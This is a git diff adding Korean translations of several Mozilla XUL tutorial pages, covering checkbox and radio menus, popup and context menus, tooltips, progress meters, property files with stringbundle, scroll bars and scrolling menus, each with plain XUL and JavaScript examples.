체크 메뉴를 만드는 방법은 checkboxradio를 만드는 방법과 비슷합니다. 이를 위해서는 두 개의 속성이 필요한데, type 속성은 체크의 형식을 지정할 때, name 속성은 관련된 명령을 하나로 묶을 때 사용합니다. 아래는 체크 항목을 가진 메뉴를 만드는 예제입니다.

+

예제 2 : Source View

+
<toolbox>
+  <menubar id="options-menubar">
+    <menu id="options_menu" label="Options">
+      <menupopup>
+        <menuitem label="Make Backups" type="checkbox"/>
+        <menuitem label="Email Administrator" type="checkbox" checked="true"/>
+      </menupopup>
+    </menu>
+  </menubar>
+</toolbox>
+
+

메뉴 항목이 체크될 수 있도록 type 속성이 추가되었습니다. 해당 속성값을 checkbox로 설정하면 메뉴 항목을 클릭할 때마다 체크가 설정/해제됩니다.

+

라디오버튼이 있는 메뉴

+

일반 체크 외에도 type 속성의 값을 radio로 지정하면 라디오 형식의 체크를 만들 수 있습니다. 라디오 체크는 한 그룹의 메뉴 항목 중 하나만 선택할 수 있도록 만들 때 사용됩니다. 예를 들면 한번에 하나의 글꼴만 선택할 수 있는 글꼴 메뉴 같은 것입니다. 이 때 다른 항목이 선택되면 이전에 선택되었던 항목은 체크가 해제됩니다.

+

여러 개의 메뉴 항목을 하나의 그룹으로 묶을 때는 각 메뉴 항목의 name 속성을 같은 값으로 지정하면 됩니다. 아래 예제를 보겠습니다.

+

예제 3 : Source View

+
<toolbox>
+  <menubar id="planets-menubar">
+    <menu id="planet-menu" label="Planet">
+      <menupopup>
+        <menuitem id="jupiter" label="Jupiter" type="radio" name="ringed"/>
+        <menuitem id="saturn" label="Saturn" type="radio" name="ringed" checked="true"/>
+        <menuitem id="uranus" label="Uranus" type="radio" name="ringed"/>
+        <menuseparator/>
+        <menuitem id="earth" label="Earth" type="radio" name="inhabited" checked="true"/>
+        <menuitem id="moon" label="Moon" type="radio" name="inhabited"/>
+      </menupopup>
+    </menu>
+  </menubar>
+</toolbox>
+
+

예제를 실행시키면, 처음 세 개의 메뉴 항목 중 한 가지만 선택할 수 있다는 것을 알게 될 것입니다. 이 메뉴 항목들은 모두 동일한 name 속성값을 가지고 있기 때문에 하나의 그룹으로 엮인 것입니다. 마지막 메뉴 항목인 Earth는 라디오 메뉴이지만 name 속성값이 다르기 때문에 그 무리에 속하지 않습니다.

+

물론 하나의 그룹 항목들은 모두 동일한 메뉴 안에 있어야 합니다. 꼭 붙어 있어야 할 필요는 없지만, 상식적으로 생각할 때 서로 붙어 있는 것이 좋을 것입니다.

+

다음 단원에서는 팝업 메뉴를 작성하는 방법에 대해 알아보겠습니다.

+

+

« 이전다음 »

+

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/popup_menus/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/popup_menus/index.html new file mode 100644 index 0000000000..a3062b42d7 --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/popup_menus/index.html @@ -0,0 +1,190 @@ +--- +title: Popup Menus +slug: Mozilla/Tech/XUL/XUL_Tutorial/Popup_Menus +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/Popup_Menus +--- +

 

+

+

« 이전다음 »

+

+

이전 단원에서는 메뉴바에 들어가는 메뉴를 만드는 방법에 대해 알아보았습니다. XUL은 팝업 메뉴를 만들 수 있는 능력도 가지고 있습니다. 팝업 메뉴는 대개 오른쪽 마우스 버튼을 누를 때 표시됩니다.

+

팝업 메뉴 만들기

+

XUL은 아래에서 설명하는 3가지 다른 형태의 팝업이 있습니다. 주된 차이는 표시되는 방식에 있습니다.

+
+
+ 일반 팝업(Plain Popups)
+
+ 일반 팝업은 대상 요소에 마우스 왼쪽 버튼을 클릭하였을 때 나타나는 팝업창입니다. 일반 팝업은 어디에나 위치할 수 있으며, 어떤 내용이든 담을 수 있다는 점을 제외하고 메뉴바에 있는 메뉴와 아주 비슷합니다. 브라우저 창에서 뒤로와 앞으로 가기 버튼 옆에 있는 조그만 아래방향 화살표를 눌렀을 때 나타나는 드롭 다운 메뉴가 이의 좋은 예입니다.
+
+
+
+ 문맥 팝업(Context Popups)
+
+ 문맥 팝업은 사용자가 문맥 메뉴 버튼(대개 마우스 오른쪽 버튼)을 누를 때 나타나는 팝업창입니다. 일부 플랫폼에서는 다른 버튼일 수도 있지만, 이것은 항상 문맥전용 메뉴를 호출하는 버튼 또는 키와 마우스의 조합입니다. 예를 들어 맥킨토시에서는 사용자가 제어키(Ctrl)를 누르고 마우스 버튼을 클릭하거나, 잠깐 동안 마우스 버튼을 누르고 있어야 합니다.
+
+
+
+ 툴팁(Tooltips)
+
+ 툴팁 팝업창은 사용자가 어떤 요소위에 마우스를 올렸을 때 나타납니다. 이런 유형의 팝업은 보통 버튼 자체에서 제공되는 것보다 좀더 구체적인 버튼에 대한 설명을 제공하는 데 사용됩니다.
+
+

이들 세 가지 유형의 팝업은 사용자가 이것들을 호출하는 방식이 서로 다릅니다. 그래서 팝업 유형은 팝업을 호출하는 요소에 의해 결정됩니다.

+

팝업 내용 선언하기

+

팝업은 menupopup 요소를 사용하여 선언됩니다. 이는 특별한 속성이 없는 상자의 한 유형입니다. 팝업이 호출되면, 여러분이 menupopup에 넣은 모든 요소를 포함하는 창이 화면에 출력될 것입니다. 여러분은 menupopupid 속성을 항상 넣어주어야 합니다. 이것은 이 속성이 팝업과 특정 요소를 연결하는데 사용되기 때문인데, 이 의미에 대해서는 곧 알게될 것입니다. 먼저, 예제를 보겠습니다.

+
<popupset>
+  <menupopup id="clipmenu">
+    <menuitem label="Cut"/>
+    <menuitem label="Copy"/>
+    <menuitem label="Paste"/>
+  </menupopup>
+</popupset>
+
+

여기서 볼 수 있듯이, 3개의 메뉴가 있는 단순 팝업메뉴가 만들어졌습니다. menupopup 요소는 3개 메뉴 항목을 둘러싸고 있습니다. 여러분은 id 속성이 menupopup 요소 자체에 설정된 것을 볼 수 있습니다.

+

popupset 요소는 전체 팝업메뉴 선언부를 둘러싸고 있습니다. 이 요소는 팝업의 일반적인 컨테이너로 선택사항입니다. 이 요소는 화면에 나타나지는 않지만 사용할 모든 팝업들을 선언할 위치 역할로 사용됩니다. popupset이라는 이름이 의미하듯, 내부에 여러개의 팝업을 선언할 수 있습니다. 첫 번째 popup 요소 다음에 그냥 추가하기만 하면 됩니다. 하나의 파일에 여러개의 popupset을 둘 수도 있지만, 대개는 하나만 존재할 것입니다.

+

요소와 팝업을 연결하기

+

이제 팝업을 만들었으니 팝업이 나타나도록 해야할 시간입니다. 이를 위해 팝업과 팝업이 나타날 요소를 연결시켜야 합니다. 이렇게 하는 것은 사용자가 창의 어떤 영역을 클릭했을 때만 팝업이 나타나야 하기 때문입니다. 대개, 이 요소는 특정 버튼이거나 상자가 됩니다.

+

팝업을 요소와 연결시키려면 3가지 속성 중 하나를 해당 요소에 추가하면 됩니다. 추가할 요소는 만들고자 하는 팝업의 종류에 따라 달라집니다. 일반 팝업의 경우에는 해당 요소에 popup 속성을 사용하고, 문맥 팝업은 context 속성을 사용합니다. 마지막으로 툴팁 팝업은 tooltip 속성을 사용합니다.

+

위의 속성에는 출력하고자 하는 menupopupid 속성값을 지정해야 합니다. 보통 하나의 파일이 여러개의 팝업을 포함하는 이유가 이 때문입니다.

+

위의 예제를 이용해 문맥 팝업을 만들고자 합니다. 이것은 context 속성을 사용해야 하며, 연결하고자 하는 팝업의 id 속성값을 이 속성값으로 지정해야 한다는 것을 의미합니다. 아래 예제는 이러한 사항을 어떻게 처리할 수 있는 지를 보여주고 있습니다.

+

예제 1 : Source View

+
+ Image:popups-ex1.png
+
<popupset>
+  <menupopup id="clipmenu">
+    <menuitem label="Cut"/>
+    <menuitem label="Copy"/>
+    <menuitem label="Paste"/>
+  </menupopup>
+</popupset>
+
+<box context="clipmenu">
+  <label value="Context click for menu"/>
+</box>
+
+

여기서 팝업은 상자와 연결되었습니다. 상자 어디서든 문맥 클릭(context-click, 오른쪽 클릭)을 하면 팝업메뉴가 나타날 것입니다. 또한 상자의 자식 요소를 클릭할 때도 팝업이 나타나기 때문에 label 요소를 클릭해도 동일하게 동작할 것입니다. context 속성은 상자와 해당 id를 가진 팝업을 연결하기 위해 사용되었습니다. 이 경우, idclipmenu인 팝업이 나타날 것입니다. 이런 식으로 수많은 팝업을 가질 수 있으며, 이들을 다른 요소와 연결할 수 있습니다.

+

여러분은 하나의 요소에 다른 종류의 팝업 속성을 설정하여 여러개의 팝업과 연결할 수 있습니다. 또 하나의 팝업을 여러개의 요소에도 연결할 수 있는데 이는 XUL의 팝업 구문이 가진 장점 중 하나입니다. 팝업은 XUL 요소에만 연결할 수 있으며, HTML 요소와는 연결할 수 없습니다.

+

툴팁

+

여기서는 툴팁을 만드는 단순한 방법을 살펴보겠습니다. 툴팁을 만드는데는 두 가지 방법이 있습니다. 일반적으로 사용되는 가장 단순한 방법은 툴팁을 적용하고자 하는 요소에 tooltiptext 속성을 추가하는 것입니다.

+

두 번째 방법은 툴팁의 내용을 담고 있는 tooltip 요소를 사용하는 것입니다. 이 방법은 각각의 툴팁 내용을 포함하는 별도의 블록 또는 내용을 설정하는 스크립트의 작성을 필요로 합니다. 그러나 이러한 방법을 이용하면 툴팁에 텍스트 외에도 어떠한 내용도 사용할 수 있는 장점이 있습니다.

+

예제 2 : Source View

+
<button label="Save" tooltiptext="Click here to save your stuff"/>
+
+<popupset>
+  <tooltip id="moretip" orient="vertical" style="background-color: #33DD00;">
+    <description value="Click here to see more information"/>
+    <description value="Really!" style="color: red;"/>
+  </tooltip>
+</popupset>
+
+<button label="More" tooltip="moretip"/>
+
+

이 2개의 버튼은 각각 툴팁을 가지고 있습니다. 첫 번째는 기본 툴팁 방식을, 두 번째는 다른 배경색과 서식이 적용된 텍스트로 구성된 커스텀 툴팁을 사용하고 있습니다. 툴팁은 More 버튼과 연결되어 있으며, 이를 위해 버튼의 tooltip 속성에 해당 tooltip 요소의 id 속성값이 설정되어 있습니다. 여기서 tooltip 요소는 다른 팝업 유형처럼 popupset 내부에 위치하고 있다는 점에 유의하세요.

+

팝업 정렬

+

기본적으로, 팝업과 문맥 창은 마우스 포인터가 위치한 곳에 나타납니다. 툴팁은 해당 요소의 약간 아래 위치하는데, 이는 마우스 포인터가 이를 가리지 않게 하기 위해서 입니다. 그렇다 하더라, 팝업이 나타날 위치를 좀 더 상세히 지정하고 싶은 경우가 있을 것입니다. 예를 들어, 브라우저의 뒤로 가기 버튼을 클릭했을 때 나타나는 팝업 메뉴는 마우스 포인터가 있는 곳이 아닌, 뒤로 가기 버튼 바로 아래 나타나도록 하는 것이 좋을 것입니다.

+

팝업 위치를 변경하기 위해서는 popup 요소에 position이라는 또 다른 속성을 사용할 수 있습니다. 또한 menupopup 요소에도 이를 추가할 수 있습니다. 이 속성은 팝업을 발생시키는 요소에 상대적인 팝업 위치를 지시하는 데 사용됩니다. 여러가지 값을 설정할 수 있으며, 각각을 간단히 설명하면 아래와 같습니다.

+
+
+ after_start
+
+ 팝업은 요소의 아래에 왼쪽으로 정렬되어 나타납니다(팝업의 왼쪽 = 요소의 왼쪽, 팝업의 위 = 요소의 아래). 해당 팝업창이 요소보다 큰 경우, 오른쪽으로 확장됩니다. 이것은 브라우저의 뒤로와 앞으로 가기 버튼과 연결된 드롭다운 메뉴에 사용되는 값입니다.
+
+
+
+ after_end
+
+ 팝업창은 요소의 아래에 오른쪽으로 정렬되어 나타납니다(팝업의 오른쪽 = 요소의 오른쪽, 팝업의 위 = 요소의 아래).
+
+
+
+ before_start
+
+ 팝업창은 요소의 위쪽에 왼쪽으로 정렬되어 나타납니다(팝업의 왼쪽 = 요소의 왼쪽, 팝업의 아래 = 요소의 위).
+
+
+
+ before_end
+
+ 팝업창은 요소의 위쪽에 오른쪽으로 정렬되어 나타납니다(팝업의 오른쪽 = 요소의 오른쪽, 팝업의 아래 = 요소의 위).
+
+
+
+ end_after
+
+ 팝업은 요소의 오른쪽에 아래쪽으로 정렬되어 나타납니다(팝업의 왼쪽 = 요소의 오른쪽, 팝업의 아래 = 요소의 아래).
+
+
+
+ end_before
+
+ 팝업은 요소의 오른쪽에 위쪽으로 정렬되어 나타납니다(팝업의 왼쪽 = 요소의 오른쪽, 팝업의 위 = 요소의 위).
+
+
+
+ start_after
+
+ 팝업은 요소의 왼쪽에 아래쪽으로 정렬되어 나타납니다(팝업의 오른쪽 = 요소의 왼쪽, 팝업의 아래 = 요소의 아래).
+
+
+
+ start_before
+
+ 팝업은 요소의 왼쪽에 위쪽으로 정렬되어 나타납니다(팝업의 오른쪽 = 요소의 왼쪽, 팝업의 위 = 요소의 위).
+
+
+
+ overlap
+
+ 팝업은 요소의 위에 나타납니다(요소의 왼쪽 위 = 팝업의 왼쪽 위).
+
+
+
+ at_pointer
+
+ 팝업은 마우스 포인터 위치에 나타납니다.
+
+
+
+ after_pointer
+
+ 팝업은 마우스 포인터와 가로 위치는 같으면서 세로 위치는 마우스 포인터 아래 부분에 나타납니다. 이것은 툴팁이 나타나는 방식입니다.
+
+

팝업 요소에 position 속성을 추가함으로써 팝업이 나타날 위치를 정확하게 지정할 수 있습니다. 그러나 정확한 픽셀 위치를 지정할 수는 없습니다. 아마도 툴팁 요소에 대한 이 속성값은 변경하려고 하지 않겠지만, position 속성은 세 가지 팝업 유형 모두에 사용될 수 있습니다. 아래 예제는 팝업 메뉴를 가진 뒤로가기 버튼을 만드는 것을 보여주는 것입니다.

+

예제 3 : Source View

+
<popupset>
+  <menupopup id="backpopup" position="after_start">
+    <menuitem label="Page 1"/>
+    <menuitem label="Page 2"/>
+  </menupopup>
+</popupset>
+
+<button label="Pop Me Up" popup="backpopup"/>
+
+
+

Our find files example

+

파일 찾기 대화창에 간단한 팝업 메뉴를 추가해 보겠습니다. 단순하게 하기 위해, Edit 메뉴의 내용을 그냥 복사했습니다. 첫 번째 탭 패널위에서 클릭했을 때 팝업이 나타나도록 해 봅시다.

+
<popupset>
+  <menupopup id="editpopup">
+    <menuitem label="Cut" accesskey="t"/>
+    <menuitem label="Copy" accesskey="c"/>
+    <menuitem label="Paste" accesskey="p" disabled="true"/>
+  </menupopup>
+</popupset>
+
+<vbox flex="1">
+.
+.
+.
+
+<tabpanel id="searchpanel" orient="vertical" context="editpopup">
+
+

여기에 있는 eidt 메뉴와 유사한 단순 팝업이 첫 번째 탭패널에 추가되었습니다. 첫 번째 패널 어디서든 마우스 오른쪽 버튼을 클릭하면(맥킨토시에서는 Ctrl-클릭), 팝업이 나타날 것입니다. 그러나 해당 팝업은 그 이외 장소에서 클릭하면 나타나지 않을 것입니다. 주의할 사항은 글상자의 경우 자체 내장 팝업메뉴가 있어서 우리가 지정한 팝업 메뉴가 나타나지 않을 것입니다.

+

지금까지의 파일 찾기 예제 : Source View

+
+

다음 단원에서는 스크롤 메뉴를 작성하는 방법에 대해 알아보겠습니다.

+

+

« 이전다음 »

+

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/progress_meters/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/progress_meters/index.html new file mode 100644 index 0000000000..2593628bfa --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/progress_meters/index.html @@ -0,0 +1,59 @@ +--- +title: Progress Meters +slug: Mozilla/Tech/XUL/XUL_Tutorial/Progress_Meters +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/Progress_Meters +--- +

+

« 이전다음 »

+

+

본 섹션에서는 진행 지시자를 생성하는 방법에 대해 알아보겠습니다.

+

진행 지시자 추가하기

+

진행 지시자는 작업이 얼마나 진행되었는지를 나타내는 막대입니다. 여러분은 보통 파일을 다운로드 받을때나 시간이 긴 작업이 진행될 때 보실 수 있습니다. XUL에서는 이러한 진행 지시자를 생성하기 위해 progressmeter 요소를 사용합니다. 진행 지시자에는 결정(determinate)과 미결정(undeterminate)의 두가지 종류가 있습니다.

+

결정 진행 지시자는 어떠한 작업이 수행될 전체 시간의 길이를 알고 있을 때 사용합니다. 진행 지시자는 점점 차게 되고 다 차게 되면 작업이 완료되었음을 나타냅니다. 이러한 진행 지시자는 파일의 크기를 알고 있는 다운로드 대화상자의 경우에 사용할 수 있습니다.

+

미결정 진행 지시자는 작업이 수행될 전체 시간 길이를 모를때 사용합니다. 진행 지시자는 사용중인 플랫폼이나 테마에 따라, 회전하는 이발소 간판(barbaer pole)이나 미끄러지는 상자와 같은 에니메이션으로 표시됩니다.

+

결정 진행 지시자: Image:prog-det.png

+

미결정 진행 지시자: Image:prog-udet.png

+

진행 지시자는 다음과 같은 구문으로 표현됩니다.:

+
<progressmeter
+    id="identifier"
+    mode="determined"
+    value="50%"/>
+
+

속성은 다음과 같습니다.

+
+
+ id 
+
+ 진행 지시자의 유일 식별자 입니다.
+
+ mode
+
+ 진행 지시자의 유형을 나타냅니다. 만일 determined로 지정하면 결정 진행 지시자를 의미하는 것으로 작업이 진행됨에 따라 채워지게 됩니다. 만일 undetermined로 지정하면 미결정 진행 지시자를 나타내는 것으로 작업이 진행될 시간을 모르는 경우에 사용됩니다. 본 속성을 지정하지 않은 경우에는 determined가 기본값입니다.
+
+ value 
+
+ 진행 지시자의 현재값을 나타내며, 결정 진행 지시자일 경우에만 사용할 수 있습니다. 값은 0에서 100사이의 백분률(퍼센트)로 입력해야 합니다. 보통은 작업이 진행됨에 따라 스크립트로 변경하게 됩니다.
+
+
+
파일 찾기 예제
+

우리의 파일 찾기 대화상자에 진행 지시자를 추가해 보겠습니다. 파일 찾기에서는 얼마나 많은 파일이 검색될지, 검색 시간이 얼마나 걸릴지 모르기 때문에 보통 미결정 진행 지시자를 사용합니다. 그러나 개발단계에서는 좀 혼란스러울 수 있으므로, 여기서는 결정 진행 지시자를 추가하겠습니다. 진행 지시자는 보통 검색이 진행중인 때만 나타납니다. 진행 지시자를 켜고 끄기 위한 스크립트는 나중에 추가하겠습니다.

+
<hbox>
+
+  <progressmeter value="50%" style="margin: 4px;"/>
+
+  <spacer flex="1"/>
+</hbox>
+
+

창에서 계기값을 볼 수 있도록 value를 50%로 설정하였습니다. 창의 가장자리와 구분하기 위해 지시자의 여백을 4픽셀로 설정하였습니다. 앞서 말씀드린 바와 같이, 우리는 검색이 수행될 동안만 진행 바가 표시되기를 원합니다. 필요에 따라 스크립트가 보이거나 숨길 것입니다.

+

여태까지의 예제입니다. Source View

+

Image:progress1.png

+

 

+
+

다음 섹션에서는 HTML을 사용하여 창에 더 많은 요소를 추가하는 방법에 대해 배울 것입니다.

+

+

« 이전다음 »

+

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/property_files/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/property_files/index.html new file mode 100644 index 0000000000..7c99944148 --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/property_files/index.html @@ -0,0 +1,64 @@ +--- +title: Property Files +slug: Mozilla/Tech/XUL/XUL_Tutorial/Property_Files +tags: + - Localization + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/Property_Files +--- +

+

« 이전다음 »

+

+

스크립트에서는, 엔티티를 쓸 수 없습니다. 대신 프로퍼티(property) 파일을 씁니다.

+

프로퍼티

+

DTD 파일은 XUL 파일에 텍스트가 있을 때 적당합니다. 그러나, 스크립트는 for 엔티티 분석되지 않습니다. 게다가, 예를 들어 혹시 여러분이 표시되는 텍스트를 정확히 모를 경우 스크립트에서 생성된 메시지를 표시하고 싶을지도 모릅니다. 이런 목적에, 프로퍼티 파일을 쓸 수 있습니다.

+

프로퍼티 파일에는 문자열 집합이 담깁니다. DTD 파일과 함께 확장자가 .properties인 프로퍼티 파일이 있습니다. 이 파일에서 프로퍼티는 이름=값 구문으로 선언합니다. 예를 아래에 보입니다:

+
notFoundAlert=No files were found matching the criteria.
+deleteAlert=Click OK to have all your files deleted.
+resultMessage=%2$S files found in the %1$S directory.
+
+

이 프로퍼티 파일은 세 프로퍼티를 담고 있습니다. 스크립트로 이 프로퍼티를 읽고 사용자에게 표시됩니다.

+

Stringbundle

+

여러분이 직접 프로퍼티를 읽는 코드를 작성할 수 있으나 XUL이 여러분을 위해 이 일을 하는 stringbundle 요소(element)를 제공합니다. 요소에는 프로퍼티 파일에서 문자열를 얻고 다른 locale 정보를 얻는데 쓸 수 있는 많은 함수가 있습니다. 이 요소는 프로퍼티 파일의 content를 읽어들이고 여러분을 위해 프로퍼티 목록을 만듭니다. 그러면 여러분은 이름으로 특정 프로퍼티를 찾아볼 수 있습니다.

+
<stringbundleset id="strbundles">
+<stringbundle id="strings" src="strings.properties"/>
+</stringbundleset>
+
+

이 요소를 포함하면 XUL 파일과 같은 디렉토리의 'strings.properties' 파일에서 프로퍼티를 읽습니다. locale에서 파일을 읽으려면 chrome URL을 쓰세요. 다른 비표시 요소처럼, 여러분은 stringbundle을 모두 한데 모으기 위해 stringbundleset 요소 안에 여러분의 stringbundle 모두를 선언해야 합니다.

+

Bundle에서 문자열 얻기

+

stringbundle 요소에는 많은 프로퍼티가 있습니다. 처음은 bundle에서 문자열을 읽기 위해 스크립트에 쓰일 수 있는 getString입니다.

+
var strbundle = document.getElementById("strings");
+var nofilesfound=strbundle.getString("notFoundAlert");
+
+alert(nofilesfound);
+
+ +

텍스트 포맷팅

+

다음 메소드는 getFormattedString()입니다. 이 메소드 또한 bundle에서 주어진 키 이름으로 문자열을 얻습니다. 게다가, 포맷팅 코드(예컨대, %S)가 나올 때마다 주어진 배열의 연속하는 각 요소로 바뀝니다.

+
var dir = "/usr/local/document";
+var count = 10;
+
+var strbundle = document.getElementById("strings");
+var result = strbundle.getFormattedString("resultMessage", [ dir, count ]);
+
+alert(result);
+
+

이 예제는 다음 메시지를 경고 대화 상자에 표시합니다.

+
10 files found in the /usr/local/document directory.
+
+

여러분은 포맷팅 코드 %1$S%2$S가 쓰이고 배열에서 다른 순서로 바뀜을 알아챌 겁니다. 포맷팅 코드 % + + n + $S는 직접 대응하는 매개변수(parameter)의 위치를 지정합니다. 비록 낱말 순서가 모든 언어에서 같지 않더라도, getFormattedString()을 써서 지정한 순서로 프로퍼티 파일을 작성할 수 있습니다.

+

비아스키 문자 이스케이프

+

비록 많은 언어에서 비ASCII 문자가 필요하더라도, 프로퍼티 파일은 오직 ASCII 문자를 써서 작성해야 합니다. 그러나, 프로퍼티 파일은 XXXX가 문자 코드인 \uXXXX 형식 이스케이프 시퀀스를 써서 다른 문자를 지원합니다. 그러므로, 혹시 여러분의 프로퍼티 파일이 비ASCII 문자를 담고 있으면, 여러분은 이를 'escaped-unicode' 형식으로 변환해야 합니다. 이를 위해, 여러분은 Sun사의 Java Development Kit (JDK)와 같이 묶인 native2ascii 명령줄 유틸리티를 쓸 수 있습니다.

+

다음 절에서는, 요소의 behavior를 정의하는 데 쓸 수 있는 XBL을 보겠습니다.

+

+

« 이전다음 »

+

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/scroll_bars/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/scroll_bars/index.html new file mode 100644 index 0000000000..583447186e --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/scroll_bars/index.html @@ -0,0 +1,71 @@ +--- +title: Scroll Bars +slug: Mozilla/Tech/XUL/XUL_Tutorial/Scroll_Bars +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/Scroll_Bars +--- +

 

+

+

« 이전다음 »

+

+

이제, 창에 스크롤바를 추가해 보도록 하겠습니다.

+

스크롤바 추가하기

+

스크롤바는 대개 사용자가 긴 문서를 이동하기 위해 사용됩니다. 또한 어떤 범위에 해당하는 값을 선택하기 위해서도 사용될 수 있습니다. 스크롤바는 여러 방식으로 생성될 수 있는데, XUL에서는 scrollbar 태그를 이용해서 만들어 집니다. 글상자와 같은 일부 요소는 내용이 너무 긴 경우와 같이, 필요에 따라 스크롤바를 추가할 수 있습니다.

+

이 단원에서는 독립적인 스크롤바의 생성 방법에 대해 다룰 것입니다. 사용자는 스크롤바를 조정하여 값을 설정하게 될 것입니다. 여러분은 그리 많이 사용할 일이 없을 것입니다. 스크롤바는 주요 부분인 조정 가능한 스크롤상자(thumb)와 양 끝단에 있는 2개의 화살표 버튼들로 구성됩니다. 스크롤바는 이러한 모든 요소들을 자동으로 생성합니다.

+

Image:scroll1.png

+

스크롤바의 구문은 다음과 같습니다.

+
<scrollbar
+    id="identifier"
+    orient="horizontal"
+    curpos="20"
+    maxpos="100"
+    increment="1"
+    pageincrement="10"/>
+
+

속성은 다음과 같습니다.

+
+
+ id
+
+ 스크롤바의 유일 식별자.
+
+
+
+ orient
+
+ 이 속성은 스크롤바의 방향을 지정합니다. 기본값은 horizontal로, 좌측에서 우측으로 늘어나는 스크롤바를 만듭니다. vertical이라는 속성을 지정할 수도 있는데, 이는 상단에서 하단으로 늘어나는 스크롤바를 만듭니다.
+
+
+
+ curpos
+
+ 이 속성은 스크롤상자(여러분이 스크롤바에서 앞뒤로 움직일 수 있는 막대)의 현재 위치를 나타냅니다. 이 속성값은 0부터 maxpos 속성에 지정한 값의 범위를 가집니다. 이 속성값은 단위를 필요로 하지 않으며, 기본값은 0입니다.
+
+
+
+ maxpos
+
+ 이것은 스크롤상자의 최대 위치를 가리킵니다. 숫자로 나타내며 단위는 없습니다. 기본값은 100입니다.
+
+
+
+ increment
+
+ 여기에 명시한 값은 사용자가 스크롤바에 있는 화살표 버튼을 클릭했을 때 curpos 값을 얼마나 변경할 지 지정합니다. 기본값은 1입니다.
+
+
+
+ pageincrement
+
+ 여기에 명시한 값은 사용자가 스크롤바의 구간의 쪽를 클릭했을 때, 즉 스크롤상자와 화살표 사이의 영역을 클릭할 때 얼만큼의 curpos값이 변경될지를 지정합니다. 기본값은 10입니다.
+
+

위에 있는 구문 예제는 0부터 100까지의 범위를 가지는 스크롤바를 생성할 것입니다. 100이라는 값은 목록에 있는 줄 수 일수 있지만, 여러분이 원하는 어떤 것일 수도 있습니다. 이 예제에서 초기값은 20입니다. 스크롤바의 화살표 중 하나를 클릭하면, 값은 위나 아래로 1씩 바뀌게 됩니다. 스크롤바의 페이지 영역(스크롤박스와 화살표 버튼 사이 영역)을 클릭하면 10만큼 바뀌게 됩니다.

+

사용자가 스크롤바 화살표를 클릭하면 스크롤상자는 increment값에 지정한 양만큼 이동하게 됩니다. 이 속성값을 증가시키면 클릭할 때마다 더 멀리 이동하게 됩니다. 스크롤바의 좌측단 또는 최상단 위치는 0값을 가지며 우측단과 최하단 위치는 maxpos에 지정된 값을 가집니다.

+

스크롤바의 값을 조정함으로써, 스크롤상자 부분을 원하는 곳에 위치시키고 화살표를 클릭했을 때 이동범위를 변경할 수 있습니다.

+

다음에는 툴바를 만드는 방법에 대해 알아보겠습니다.

+

+

« 이전다음 »

+

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/scrolling_menus/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/scrolling_menus/index.html new file mode 100644 index 0000000000..bf2600329a --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/scrolling_menus/index.html @@ -0,0 +1,46 @@ +--- +title: Scrolling Menus +slug: Mozilla/Tech/XUL/XUL_Tutorial/Scrolling_Menus +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/Scrolling_Menus +--- +

 

+

+

« 이전다음 »

+

+

이번 단원에서는 스크롤 메뉴와 스크롤 기능의 사용 방법에 대해 알아보겠습니다.

+

큰 메뉴 만들기

+

화면에 다 넣을수 없을만큼 많은 명령을 가진 메뉴를 작성하면 어떻게 될지 궁금하실 것입니다. Mozilla에서는 이런 경우를 위해 항목이 스크롤되는 기능을 제공합니다.

+
+ Image:menuscroll1.png
+

만약 사용할 수 있는 공간이 모자라면 메뉴의 양 끝에 화살표가 나타납니다. 이 때 마우스를 화살표 위에 갖다 대면 메뉴가 위, 아래로 스크롤됩니다. 공간이 충분하다면 화살표는 나타나지 않습니다. 이 때 주의할 것은 스크롤의 작동 방식은 테마에 따라 다르다는 것입니다.

+

스크롤 기능은 자동으로 실행됩니다. 따라서 스크롤 메뉴를 만들기 위해 다른 것을 건드릴 필요는 없습니다. 스크롤 기능은 menubar, popup, menulist에 있는 메뉴에 적용됩니다. 이 기능은 arrowscrollbox 요소를 이용하여 구현됩니다. arrowscrollbox 요소는 화살표가 있는 스크롤 상자를 만들 때도 사용할 수 있습니다.

+

arrowscrollbox 요소는 일반 상자가 사용될 수 있는 곳 어디서나 사용될 수 있습니다. 꼭 메뉴에만 사용해야 하는 것은 아닙니다. arrowscrollbox 요소는 항상 세로 상자이며 어떤 요소든 포함할 수 있습니다. 여러분은 드롭다운이 아닌 목록을 구현하기 위해 arrowscrollbox 요소를 사용할 수도 있습니다.

+

예제 - 스크롤되는 버튼 목록

+

아래는 스크롤할 수 있는 버튼 목록을 만드는 방법을 보여주는 예제입니다(화살표를 보려면 창을 줄여야 할것입니다).

+

예제 1 : Source View

+
<arrowscrollbox orient="vertical" flex="1">
+  <button label="Red"/>
+  <button label="Blue"/>
+  <button label="Green"/>
+  <button label="Yellow"/>
+  <button label="Orange"/>
+  <button label="Silver"/>
+  <button label="Lavender"/>
+  <button label="Gold"/>
+  <button label="Turquoise"/>
+  <button label="Peach"/>
+  <button label="Maroon"/>
+  <button label="Black"/>
+</arrowscrollbox>
+
+

예제를 실행하면 전체 화면으로 표시될 것입니다. 하지만 창의 높이를 줄이면, 스크롤 화살표가 나타날 것입니다. 다시 창을 키우면 화살표가 사라질 것입니다.

+

항상 화살표가 보이도록 하고 싶다면 arrowscrollbox에 CSS의 max-height 속성을 사용하여 크기를 제한하면 됩니다.

+

arrowscrollbox는 주로 메뉴와 팝업에서 유용하게 사용됩니다.

+

